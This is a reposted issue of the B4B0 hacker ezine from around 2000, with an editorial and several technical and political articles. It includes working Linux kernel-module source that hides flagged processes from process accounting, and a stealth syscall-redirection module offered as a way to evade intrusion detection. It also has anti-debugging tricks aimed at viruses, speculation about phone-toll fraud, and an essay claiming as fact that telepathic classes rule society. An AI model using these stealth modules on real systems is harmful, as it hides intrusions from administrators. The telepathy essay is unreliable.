Copy Link
Add to Bookmark
Report

B4b0 10

eZine's profile picture
Published in 
B4b0
 · 28 Dec 2019

 
[ ! ] @#b4b0!@#b4b0!@#b4b0!#@b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@# [ ! ]

[ Note: This is one of the lost issues of B4B0 (the other being ]
[ issue 4, which has become inextricably lost). Most of this ]
[ material is pretty old, and we got lazy (except for silvio). ]
[ This is (was) the last issue of B4B0. ]


http://www.b4b0.org


Mischief. Mayhem. B4B0.

.ad888bo 88888 .ad8888b .a888888888o. .a88888 a888b
`88888 888888 `88888 8888888888888 `888 88 88
88888 8888888 88888 8888888888888 888 88 88
88888 88888888 88888 88888 88888 888 88 88
88888 8888 8888 88888 88888 8 88888 888 88 88
8888888888b. 888888888888b 8888888888b. 88888 8 88888 888 `888'
888888888888 8888888888888 888888888888 88888 88888
88888 888 8888 88888 888 8888888888888
888888888888 8888 888888888888 8888888888888
`888888888P' 8888b `8888888888' `8888888888P' kkr
`8888

"The best times are not forgotten, yet time
remains still when I am one with the Party
Programme."
- Nathan Chalmers, 1999

(c) 2000 The B4B0 Party Programme

- thepartyprogrammehasspokenthepartyprogrammehasspokenthepartyprogrammehas -

The Resurrection of Vice
The Liberation of Ideals and Truths


_/@#$%@#$%@#$%@#$%@#$%@#$%\_
-+$#@< The Voice of a New Tommorrow >@#$+-
-\@#$%@#$%@#$%@#$%@#$%@#$%/-

sEEl-vEE-0h .................................................. Silvio Cesare
tEEp ....................................................... Abraham Johnson
ge0rge ...................................................... George Peppard
phFh4Ck3r ................................................... Johann Bachman
gRE-0p ........................................................ Ian McKlusky
thE MiLk .................................................... Mike Gruberman
kuR4cK .......................................................... Sean Horny
aH-lEHck ....................................................... Alec Eiffel
sEEgn4l ............................................... "Fast Delivery" Jake
jEEmEE ......................................................... Jimmy Fuchs
tYE-mAHt ....................................................... John Hammer
hIE-bRIhD ..................................................... Shabba Ranks


_/@#$%@#$%@#$%@#$\_
-+$#@< Writers and Artists >@#$+-
-\@#$%@#$%@#$%@#$/-

B4B0 Staff ....................................................... See above
ep1d ........................................................ Eugene Thuston
exitt ........................................................ Patrick Dumas
kkr .......................................................... Orko Richards
smiler .................................................... Christian Hormel


Letters, comments, submissions: letters@b4b0.org


[ ! ] @#b4b0!@#b4b0!@#b4b0!#@b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@# [ ! ]


! B 2 K !
-+ The B4B0 Party Programme +-
Issue 10

"Will 10 ever get released?"


- B P P - [!@#$#@!] Table of Contents [!@#$#@!] - B P P -

[ B ]=-=[ 01 ] Editorial ............................................. silvio
[ 4 ]=-=[ 02 ] Statement of Intent ...................... the party programme
[ B ]=-=[ 03 ] Kernel Function Hijacking (Linux) ..................... silvio
[ 0 ]=-=[ 04 ] An ATM Primer ........................................... alec
[ B ]=-=[ 05 ] Stealth Syscall Redirection (Linux) ................... silvio
[ 4 ]=-=[ 06 ] Comdial Phone System Analysis ........................... ep1d
[ B ]=-=[ 07 ] Oppression and Society ................................ silvio
[ 0 ]=-=[ 08 ] Ascend TNT Caller ID Fun ................................ alec
[ B ]=-=[ 09 ] Anti-Debugging Techniques (Linux) ..................... silvio
[ 4 ]=-=[ 10 ] Elf Executable Reconstruction from a Core Image ....... silvio
[ B ]=-=[ 11 ] Mailbag .................................. the party programme
[ 0 ]=-=[ 12 ] Multiplatforum FreeBSD/Linux Binaries ................. silvio
[ B ]=-=[ 13 ] Siilov Virus .......................................... silvio
[ 4 ]=-=[ 14 ] In Conclusion ............................ the party programme


[ *!%!@#*!@# ] Attached Juarez 'juarez' directory

[ B ]=-=[ 01 ] ELF Magic and Madness (egg.tgz) ....................... smiler
[ 4 ]=-=[ 02 ] Ltrace (ltrace-0.3.8-opt-l.tgz) ....................... silvio
[ B ]=-=[ 03 ] Fping (fping-async-dns.tgz) ........................... silvio
[ 0 ]=-=[ 04 ] Siilov x86 Linux Virus (siilov.bin) ................... silvio
[ B ]=-=[ 05 ] Siilov source (siilov-src.c) .......................... silvio
[ 4 ]=-=[ 06 ] Hamburglorz issues 1 and 2 (hamb.tgz) .................. chrak


B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0
[!@#$#@!][!@#$#@!][!@#$#@!][!@#$#@!][.1.][!@#$#@!][!@#$#@!][!@#$#@!][!@#$#@!]
B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0


~!@#~!@#~!@#~
! Editorial ! silvio
~!@#~!@#~!@#~


<mrlore/#b4b0> silvio, u can't code.

Here we go again with another issue of B4B0, this time number 10. This is
my first issue in the role of editor so hopefully everyone will be happy
with the result. I've even gone to the effort of contributing more articles
than seems sane by one person in one issue, so no complaints that I've been
slack or don't take this position seriously! LETS BRING B4B0 BACK TO LIFE!

1) Let's talk about worm paradigms. Exactly, why must we use exploits to
gain access to remote hosts? I don't think we have too. Let's look at unix
viruses, if you're a subscriber to unix-virus then you've seen my posts on
fully resident user viruses using the debugging system call ptrace in Linux
to hijack lib functions in all processes the user has access too. Then why
not stay resident as the user ventures out into remote hosts. This means
that a virus can become a worm and soon we find that worms as we know them
are no longer. If you subscribe to unix-virus long enough, then you might
see a few viruses or worms like this (I have only about a million things to
implement in a virus before then - like polymorphism, full residency and
stealth to name a few of the things yet to do).

2) Let's talk about secure programming techniques. For starters, why do
programs make the entire code set user id or set group id when only 1% of
the program actually NEEDS privaledges. The same for daemons. For example,
let's look at a simple application, identd in a restricted proc file system.
Now, this is probably not a major application of secure programming
techniques, but it's a good base. Let's ignore rc files etc, and focus on
getting access to /proc/net/tcp which is not readable unless your in a
special group. The easy method is to make the identd run as that group.
Now, this isnt secure programming. Because if you compromise the daemon,
you gain access to ALL of the proc file system. A more secure method, is
have the daemon fork and in one process open /proc/net/tcp on behalf of the
main daemon process using file descriptor passing. Now, if we compromise
the main daemon we can only look at /proc/net/tcp. Instead, to gain full
proc privs we have to compromise the small split process which can be made
extremely (heh) secure because it's so small and not insignificant simple.
Let's look at a similar example, traceroute/ping/fping all require root
privs because they access raw sockets. In Linux 2.2 we can use capabilities
to implement this without full root access, but a more portable solution is
to have a socket daemon which opens raw sockets for users in a special
group (via file descriptor passing). The programs requiring raw socket
access communicate to the daemon via a unix domain socket which is only
accessable by this special group. Actually we can make this more fine
grained than group access depending on file system implementation. Then
we make the programs using the socket daemon sgid this group (or whatever).
The programs then run without root privs. Compromising the socket daemon
is a harder task because it only specializes in small specifics. The only
problem is that we must have a daemon running, but for extra security it
might be worth it.

Following up on this idea, let's try to eliminate SUID/SGID all together.
Now, this idea wasnt originally mine (though i did arrive to it
independently), in fact Dan Bernstein proposed this idea in Bugtraq last
year. Let's look at a little of the shadow suite, and also some mail user
agents that do dotlock mailbox locking. Now, from the shadow suite we have
passwd/chfn/chsh which modify /etc/passwd and /etc/shadow and hence need
root access. Why however must the entire bin be given root access? After
all, when your gathering user input, or parsing such input, do you really
need root? Let's instead, write a small daemon that can change those files
for us, make it accessable though a world writeable unix domain socket (so
we can all communicate with the daemon without special privs). To
authenticate we can pass our usernamd and password to the daemon, but what
if we try to change someone elses information and we have the right login?
In the original bins, we cant do this. We can make out daemon follow this
behaviour by using credentials for the connection. This technique allows
you to determine the user connected to the socket. So we just ignore
requests to modify information if the real uid doesnt match the uid
requested (unless the real uid is root). The only problem, is that this
isn't really portable. Linux has SO_PEERCRED, FreeBSD has its own CRED
passing, Solaris has DOORS.. BUT, maybe we can determine the uid anyway.
If as a user we have a file only we can read, and we pass that file
descriptor to the daemon, the daemon knows who we are by checking the
ownership and permissionon that file. I havent implemented fd passing
credentials, but it sure seems interesting. Mailbox locking again, follows
a similar line. Mailbox locking creates a .lock file in /var/spool/mail
(let's assume this anyway), so we need mail group access to create a new
file in that directory. So let's have a daemon that creates lock files
based on the uid of the person connection to the daemon. The result is that
we can eliminate SUID/SGID from many programs. Why exactly is removing
SUID/SGID and replacing with a daemon better though? As described in
Bugtraq, daemons allow for very limited interaction with the user, a very
narrow channel which can be stringently protected. In SUID/SGID you have
very limited control over what the user can do to interact. From the
environment and arguments, to externally linked libraries or program
tracing. For example, the RESOLV_HOST_CONF bug of several years ago would
never have been exploitable using a daemon, simply because you couldn't
change the daemons environment.

I really think i need to write a real article on secure programming using
these techniques.

ONE LAST TOPIC: Probably the most important, mental telepathy and
oppression. I have written a very brief introduction to the oppression of
society in this b4b0 issue, and its short enough that you should all be
able to read it and make a more informed decision of wether you are truely
oppressed. Let's be hypothetical and say you believe as I do, as you
really are, that you are oppressed, but feel that we are merely pawns, or
cogs in the system. Let's look at history, all great movements had to start
somewhere. Individuals have made great change this world such as Ghandi,
Malcom-X, Nelson Mandella, or to the other extreme, Hitler. I say change
is possible, but only possible if your willing to try even in the face of
certain defeat.

[ Most Underated Debugging Tool ............ ] -----> /usr/bin/objdump
[ Most Poorly Documented But Useful Library ] -----> BFD

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

Email b4b0! : letters@b4b0.org
Submit to b4b0! : submissions@b4b0.org
View b4b0! : http://www.b4b0.org

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x


~!@#~!@#~!@#~!@#~!@#~!@
! Statement of Intent ! the party programme
~!@#~!@#~!@#~!@#~!@#~!@


The B4B0 Party Programme

Date formed: Unknown, estimated in the early 1970's.

Estimated Membership: As few as ten, possibly thousands.

Headquarters: The Socialist Republic of America, locale unknown; formerly
based somewhere in the Midwest United States. Embassies and consuls
worldwide.

Area of Operations: Worldwide.

Leadership:

Other Names: B4B0, Babo, Bah-Boh, The Party Programme,

Sponsors: Unknown.

Political Objectives/Target Audiences:

Background:


Statement of Intent: B4B0

INSERT: statement


x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x

____
/ \ -----------
c=='--\-/-- / B4B0 owns \
| @ @ | / you kiddies!/ <----- r4lph in his earlier days
\ _`_ / ;/------------
\\_//
-,-

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x


~!@#~!@#~!@#~!@#~!@#~!@#~!@#~
! Kernel Function Hijacking ! silvio
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~


INTRODUCTION

This article describes a method of hijacking internal kernel functions, that
is, kernel functions that are declared inside the kernel without a function
pointer or vector for changing the kernel function it points too. This can
have practical uses, as given in example code which patches the process
accounting code to not log specially marked processes (processes given
signal 31).

KERNEL FUNCTION HIJACKING

The basic premise for this attack is to replace the first bytes of the
original function with an asm jump to the replacement jump. The algorithm
follows:

In init_module...

* save the first 7 bytes of the original function for later use
* set the new jump code to point to the replacement function
* replace the first 7 bytes of the original function with a jump

In cleanup_module...

* restore the bytes of the original function with the saved copy

In the replacement function...

* do the payload
for calling the old function...
* restore the bytes of the original function with the saved
copy
* call the original function
* replace the first 7 bytes of the original function with a
jump

The asm jump used is an indirect jump... This means no messing around with
calculating offsets.

movl $address_to_jump,%eax
jmp *%eax

THE IMPLEMENTED EXAMPLE

The example code patches acct_process in kernel/sys.c which accounts for
process accounting. Normally, you cannot redirect acct_process, but this
does all the logging for process accounting, so we hijack the function to
control process logging.

The code works by waiting for a kill -31 to a process, when this is recieved,
the replacement kill syscall sets a bit in the process flags that marks the
process as not to be logged by process accounting. This technique is ideal
as when the process forks, the process flags are copied, so children remaing
log free aswell. The heart of the code is in _acct_process which looks at
the process flags and if marked not to be logged, returns without calling
the original acct_process.

The acct_process variable must be assigned the correct address of the
function in the kernel. Typically, this is found in System.map but if no
map is present then the techniques described in my paper RUNTIME KERNEL
KMEM PATCHING (http://www.big.net.au/~silvio) may be used.

-- acct_nolog.c (Linux 2.0.35)

#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <linux/sched.h>
#include <asm/string.h>
#include <asm/unistd.h>

/*
change this to the correct address, which can be found in System.map
*/


int (*acct_process)(int) = (int (*)(int))0x00114520;

#define CODESIZE 7

#define NOLOG_SIGNAL 31
#define NOLOG_PF 0x10000000

static char original_acct_code[7];
static char acct_code[7] =
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /* jmp *%eax */
;
int (*original_kill)(pid_t, int);

extern void *sys_call_table[];

void *_memcpy(void *dest, const void *src, int size)
{
const char *p = src;
char *q = dest;
int i;

for (i = 0; i < size; i++) *q++ = *p++;

return dest;
}

int _acct_process(long exitcode)
{
if (!(current->flags & NOLOG_PF)) {
int ret;

_memcpy(acct_process, original_acct_code, CODESIZE);
ret = acct_process(exitcode);
_memcpy(acct_process, acct_code, CODESIZE);
return ret;
}
return 0;
}

struct task_struct *find_task(pid_t pid)
{
struct task_struct *task = current;

do {
if (task->pid == pid) return task;
task = task->next_task;
} while (task != current);

return NULL;
}

int _kill(pid_t pid, int sig)
{
if (sig == NOLOG_SIGNAL) {
struct task_struct *task;

task = find_task(pid);
if (task == NULL) return - ESRCH;

task->flags |= NOLOG_PF;
return 0;
}
return original_kill(pid, sig);
}

int init_module(void)
{
original_kill = sys_call_table[__NR_kill];
sys_call_table[__NR_kill] = _kill;
*(long *)&acct_code[1] = (long)_acct_process;
_memcpy(original_acct_code, acct_process, CODESIZE);
_memcpy(acct_process, acct_code, CODESIZE);
return 0;
}

void cleanup_module(void)
{
sys_call_table[__NR_kill] = original_kill;
_memcpy(acct_process, original_acct_code, CODESIZE);
}


x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x

"Reading B4B0 gave me inspiration to
kick the habit. I mean, those colors
truly tasted like music."
- Scott Baio

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x


MISSING: ATM PRIMER


x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!
B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0
!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x


~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@
! Syscall Redirection Without Modifying the Syscall Table ! silvio
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@


This article describes a technique of redirecting system calls without
modifying the sys call table (implemented in Linux). This can be used to
evade intrusion detection systems that use the sys call table to register
redirected or trojaned system calls. It is however an easy modifcation to
make to detect the attack implemented in this article. The basic premise
behind this attack is to modify the old system call code to jump to the new
system call, thus control is transferred to the replacement system call and
the sys call table is left untouched. If this is the only procedure carried
out, the old system call is left in a clobbered state, and is dangerous to
execute, so the original code is saved and when the system call is made.
The original code replaces the jump and the system call acts as normal.
After this, the jump can then be inserted (overwritten) again waiting for
the next use. Detecting this attack means that the first few bytes of the
original system calls should be saved and then compared to verify that
indeed the original system call is in place.


-- stealth_syscall.c (Linux 2.0.35)

#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <asm/string.h>
#include <asm/unistd.h>

#define SYSCALL_NR __NR_uname

static char syscall_code[7];
static char new_syscall_code[7] =
"\xbd\x00\x00\x00\x00" /* movl $0,%ebp */
"\xff\xe5" /* jmp *%ebp */
;

extern void *sys_call_table[];

void *_memcpy(void *dest, const void *src, int size)
{
const char *p = src;
char *q = dest;
int i;

for (i = 0; i < size; i++) *q++ = *p++;

return dest;
}

/*
uname
*/


int new_syscall(struct new_utsname *buf)
{
printk(KERN_INFO "UNAME - Silvio Cesare\n");
_memcpy(
sys_call_table[SYSCALL_NR], syscall_code,
sizeof(syscall_code)
);
((int (*)(struct new_utsname *))sys_call_table[SYSCALL_NR])(buf);
_memcpy(
sys_call_table[SYSCALL_NR], new_syscall_code,
sizeof(syscall_code)
);
}

int init_module(void)
{
*(long *)&new_syscall_code[1] = (long)new_syscall;
_memcpy(
syscall_code, sys_call_table[SYSCALL_NR],
sizeof(syscall_code)
);
_memcpy(
sys_call_table[SYSCALL_NR], new_syscall_code,
sizeof(syscall_code)
);
return 0;
}

void cleanup_module(void)
{
_memcpy(
sys_call_table[SYSCALL_NR], syscall_code,
sizeof(syscall_code)
);
}


x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x

silvio: insert text or graphic here.

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x


~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!
! Possible Flaw in Comdial Phone Systems ! ep1d
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!


#$ Introduction

First off I would like to state that anything stated here
is for educational purposes only. Also that my ideas that are
listed here may or may not work. I will explain both sides of
my theory, to help anyone better understand what is going on
and to maby fill me in on anything they know.

#$ Theory

My theory results in the ability to making free phone
calls via comadial phone systems, but may also cover other types
of phone systems. The thought behind this is that, each
outbound line has a extension that can be reached while someone
is inside of the phone systems. It may not be a standard extension
but it would still be reachable. If the phone systems runs the
same concept as the comdial phone systems it may be vulnerable
to this.

#$ Concept

The Comdial Impact phones are the only phones I have experience
with and they are setup like, 12 - 24 buttons on the right hand
side. On our phone system 6 are lines, 1 is to the vmail backdoor,
1 to xfer vmail, 1 to vmail, and 1 to page.

#$ It May

The thought behind why it may work is, you can dial into the
phone system from the outside via the vmail backdoor. Once you
are into the phone system you can act as you are a phone on the
system. If you found out the correct extensions to each line that
the phone must put out, you would be able to access the outbound
lines, therefor creating a "bounce". The hardest part about doing
this is finding the vmail backdoor, and the extensions of the lines.
I am pretty sure once the extensions are found, they are probably
the same where ever else you look.

#$ It May Not

My theory in general may just be all wrong. The phones may
have direct access to the system, and just opens up a current to
the switchboard and takes over the line. The vmail backdoor may
just be accessed the same way. You can reach the lines from the
outside world also, and it would ring into the phone, same as what
the vmail backdoor does.

#$ Conclusion

The question still stands, is this possible? I would love
to recive any more information on this as you can think of please
email it to me at josh@bigcity.net.

#$ EOF

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x

Did You Know?

Original B4B0 jsbach is an accomplished instrument player
and has a wide collection of flutes.

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x


~!@#~!@#~!@#~!@#~!@#~!@#~!
! Oppression and Society ! silvio
~!@#~!@#~!@#~!@#~!@#~!@#~!


As everyone knows we have three distinct classes in society, all directly
a result of telepathic abilities - lower, middle and ruling classes. The
middle class can telepathically read the thoughts of the lower class and
the ruling class, but the ruling class can selectively determine what the
middle class can read of themselves. The ruling class can also read the
thoughts of the lower class and can apply telepathic abilities to this class
through other methods such as physical and subliminal influence. The lower
and middle classes are often referred to as "cats" or "dogs".

These classes are indirectly related to normal classes within out capitalist
society. The telepathic lower class has higher poverty, higher crime,
higher substance abuse and so forth. This can be attributed to telepathic
class, as the ruling class would have you believe, or we can see the
situation in its true lighting, as a case of simply being an oppressed class
and exhibiting the typical behavior of an oppressed people. The lower and
ruling class is the minority as expected, and the middle class is the
majority. The lower class has long been considered the genetic inferior,
however this is merely a prejudice created by the ruling class for
maintaining control over the masses - the middle class.

There are multiple definitions of oppression, but all suggest the unjust
exercise of power or being heavily weighed down in mind or body. The
lower class is obviously oppressed, as cruel and arbitrary power is
exercised. The lower class is indoctrined with a slave ideology that
subordinates them to the rest of society.

The real exploitation and oppression is not so obvious. It is the
oppression of the masses, the middle class. The simple definition of
freedom is the ability to exercise choice or free will. In a free society,
while crime is not permitted, the thought of crime or discussion of the law
still exists because people can exercise free choice and are able to think
on their own. Hence, while all ideas are not desirable, such as those
which break the law, it shows that a society is truly free by allowing the
law to be analyzed. At the same time, while lack of this demonstrates an
enslaved society, the existence of opposition to the law does not always
demonstrate a free society.

In an enslaved society, we all think and behave the same. Indeed, as George
Orwell suggested, in such a society the ability to think outside the ruling
ideology (the ideology of the ruling class to perpetuate its own rule) will
eventually become impossible. The fact is we live in such a society today.
The middle class is being oppressed because it cannot express their choice,
even verbally. The middle class has indeed been indoctrined to believe
exactly what the ruling class dictates. Even if the ideology is obviously
true, freedom has been removed, because the ability to question it has been
removed.

Even though society agrees as a whole of certain points of view, one does not
have to look far to see an opposite standing of every topic imaginable. Look
at pedophilia or even the persecution of the Jews, views that have opinions
on both sides no-matter how obvious the truth is.

The middle class has been indoctrined to consider the lower class the enemy.
Looking back throughout history, such a scenario isn't new. For centuries,
minority groups have been oppressed by the middle class, whom are in turn
indoctrined to these beliefs by the ruling class. By displacing the cause
of society's problems on these scapegoats, the ruling class can provide the
solution to a utopic society and maintain the status quo.

Oppression does not necessarily dictate what a person must do, it dictates
what a person must not do. If the middle class decided that they would not
follow the doctrines, would you expect an equal cruel and arbitrary exercise
of power on behalf of the ruling class? The lower class is oppressed, but
the middle class is equally repressed.

The solution to this, is not one of physical force, but of knowledge and
awareness. Discuss the ruling ideology, express an opposing stance if you
desire, or yell out its value. This is the only way you can actually
demonstrate free choice in a society that supposedly is designed for the
people, not for the minority rulers.


x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x

INSERT: graphic

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x

MISSING: Ascend TNT Caller ID Fun

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x

INSERT: graphic

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x


~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~
! Linux Anti-Debugging Techniques (Fooling the Debugger ! silvio
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~


TABLE OF CONTENTS
-----------------

INTRODUCTION
FALSE DISASSEMBLY
DETECTING BREAKPOINTS
SETTING UP FALSE BREAKPOINTS
DETECTING DEBUGGING


INTRODUCTION
------------

This article describes anti debugger techniques for x86/Linux (though some
of these techniques are not x86 specific). That is techniques to either
fool, stop, or modify the process of debugging the target program. This
can be useful to the development of viruses and also to those implementing
software protection.


FALSE DISASSEMBLY
-----------------

This elegant technique produces false disassembly when listed. It produces
this by jumping into the middle of instruction. The real code starts in the
middle of this instruction, but the disassembly uses the entire instruction
and thus continues disassembly not alligned to the real assembly.

jmp antidebug1 + 2
antidebug1:
.short 0xc606
call reloc
reloc:
popl %esi
jmp antidebug2
antidebug2:
addl $(data - reloc),%esi
movl 0(%esi),%edi
pushl %esi
jmp *%edi
data:
.long 0

--

$ objdump -d a.out

.
.
.

8048340: 55 pushl %ebp
8048341: 89 e5 movl %esp,%ebp
8048343: eb 02 jmp 0x8048347
8048345: 06 pushl %es
8048346: c6 e8 00 movb $0x0,%al
8048349: 00 00 addb %al,(%eax)
804834b: 00 5e eb addb %bl,0xffffffeb(%esi)
804834e: 00 81 c6 0f 00 addb %al,0xfc6(%ecx)
8048353: 00
8048354: 00 8b 7e 00 56 addb %cl,0xff56007e(%ebx)
8048359: ff
804835a: e7 00 outl %eax,$0x0
804835c: 00 00 addb %al,(%eax)
804835e: 00 89 ec 5d c3 addb %cl,0x90c35dec(%ecx)
8048363: 90
8048364: 90 nop

.
.
.


DETECTING BREAKPOINTS
---------------------

A breakpoint is defined by overwriting the breakpoint address with an int3
opcode (0xcc). If a program is being traced (man ptrace) then an int3 will
cause the process to stop. This is when the parent process debugging takes
over control. To continue processing it is up to the debugger to overwrite
the int3 opcode with the original opcode. Thus to detect a breakpoint, the
program simply has to check for an int3 opcode. Another solution is to
checksum the code image. If the checksum fails, the code has been modified,
and a breakpoint is probably the culprit.

void foo()
{
printf("Hello\n");
}

int main()
{
if ((*(volatile unsigned *)((unsigned)foo + 3) & 0xff) == 0xcc) {
printf("BREAKPOINT\n");
exit(1);
}
foo();
}

--

$ gdb
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-debian-linux), Copyright 1996 Free Software Foundation, Inc.
(gdb) file a.out
Reading symbols from a.out...done.
(gdb) break foo
Breakpoint 1 at 0x8048373: file break.c, line 3.
(gdb) run
Starting program: /home/silvio/src/antidebug/a.out
BREAKPOINT

Program exited with code 01.
(gdb) quit
$ ./a.out
Hello
$


SETTING UP FALSE BREAKPOINTS
----------------------------

As stated earlier, a breakpoint is created by overwriting the address with
an int3 opcode (0xcc). To setup a false breakpoint then we simply insert an
int3 into the code. This also raises a SIGTRAP, and thus if our code has a
signal handler we can continue processing after the breakpoint.


#include <signal.h>

void handler(int signo)
{
}

int main()
{
signal(handler, SIGTRAP);
__asm__("
int3
"
);
printf("Hello\n");
}

--

$ gdb
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-debian-linux), Copyright 1996 Free Software Foundation, Inc.
(gdb) file a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/silvio/src/antidebug/a.out
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGTRAP, Trace/breakpoint trap.
0x80483c3 in main ()
(gdb) c
Continuing.
Hello

Program exited with code 06.
(gdb) quit
$ ./a.out
Hello
$


DETECTING DEBUGGING
-------------------

This is an elegant technique to detect if a debugger or program tracer such
as strace or ltrace is being used on the target program. The premise of
this technique is that a ptrace[PTRACE_TRACEME] cannot be called in
succession more than once for a process. All debuggers and program tracers
use this call to setup debugging for a process.

int main()
{
if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) {
printf("DEBUGGING... Bye\n");
return 1;
}
printf("Hello\n");
return 0;
}

--

$ gdb
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-debian-linux), Copyright 1996 Free Software Foundation, Inc.
(gdb) file a.out
Reading symbols from a.out...done.
(gdb) run
Starting program: /home/silvio/src/antidebug/a.out
DEBUGGING... Bye

Program exited with code 01.
(gdb) quit
$ ./a.out
Hello
$


x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x

INSERT: graphic

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x


~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@
! Elf Executable Reconstruction From a Core Image ! silvio
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@


TABLE OF CONTENTS
-----------------

KERNEL CHANGES FROM 2.0 TO 2.2
INTRODUCTION
THE PROCESS IMAGE
THE CORE IMAGE
EXECUTABLE RECONSTRUCTION
FAILURES IN RECONSTRUCTION
USES OF RECONSTRUCTION


KERNEL CHANGES FROM 2.0 TO 2.2
------------------------------

This article was written primarily in Linux 2.0.x but the code was patched
to work in both 2.0.x and 2.2.x If any inconsistancies occur in this
article related to kernel changes (the ELF core dump image I know has
changed. No longer is the first PT_LOAD segment in the image the TEXT
segment). I may modify this article to reflect 2.2, but this is currently
not planned.

Silvio Cesare, 28 January 2000


INTRODUCTION
------------

This article documents the results from experimenting with binary
reconstruction of an ELF executable given a core dump or snapshot of the
process image. ELF knowledge is assumed and it is suggested that the
interested reader understand the structure of an ELF binary before
undertaking full understanding, but if only a rudimentary understanding of
the reconstruction is required, then it may be possible to ignore ELF
understanding. A Linux implementation of this reconstruction code is
provided.


THE PROCESS IMAGE
-----------------

In summary, a core image is a dump of the process image at dump time. The
process image contains a number of loadable program segments or virtual
memory regions. In an ELF binary these are referred to by program headers
and in the Linux kernel they are referred to as vm_area_struct's. The actual
core dump is a dump of the vm_area_struct's but these correspond to the
program headers of the executable and shared libraries used to create the
process image. In Linux, a group of vm_area_struct's are referred to
as a memory map or as a map in the proc file system. A typical map is given
below for a program using libc.

debian# cat /proc/16114/maps
08048000-08049000 r-xp 00000000 03:03 50198
08049000-0804a000 rw-p 00000000 03:03 50198
40000000-4000a000 r-xp 00000000 03:03 6001
4000a000-4000c000 rw-p 00009000 03:03 6001
4000c000-4000e000 r--p 00000000 03:03 30009
4000e000-400a0000 r-xp 00000000 03:03 6030
400a0000-400a7000 rw-p 00091000 03:03 6030
400a7000-400b4000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0

The first two memory regions using virtual addresses 8048000 - 8049000 and
8049000 - 804a000 correspond to the text and data segments respectively.
Notice also that the permission bits represent this also. Also notice that
the memory regions only lie on page borders. All memory regions in a core
dump or mapping lie on page borders. This means, that the smallest memory
region is one page long. It must also be noted that a program segment
represented by a program header in an ELF binary does not have to lie on
a page border, so program segments do not map one to one on virtual memory
regions. The following six mappings correspond to libc memory regions.
The last region is the stack.


THE CORE IMAGE
--------------

The core image as stated above is a dump of the process image with some
extra sections for registers and any useful information. In an ELF core
image, the memory regions belonging to the process image as stated correspond
to program segments, so a core file has a list of program headers each for
each virtual memory region. The register information and so forth is stored
in a notes section in the ELF binary. To reconstruct an executable from
a core dump or process image we can ignore the registers and concentrate
only on the memory regions.


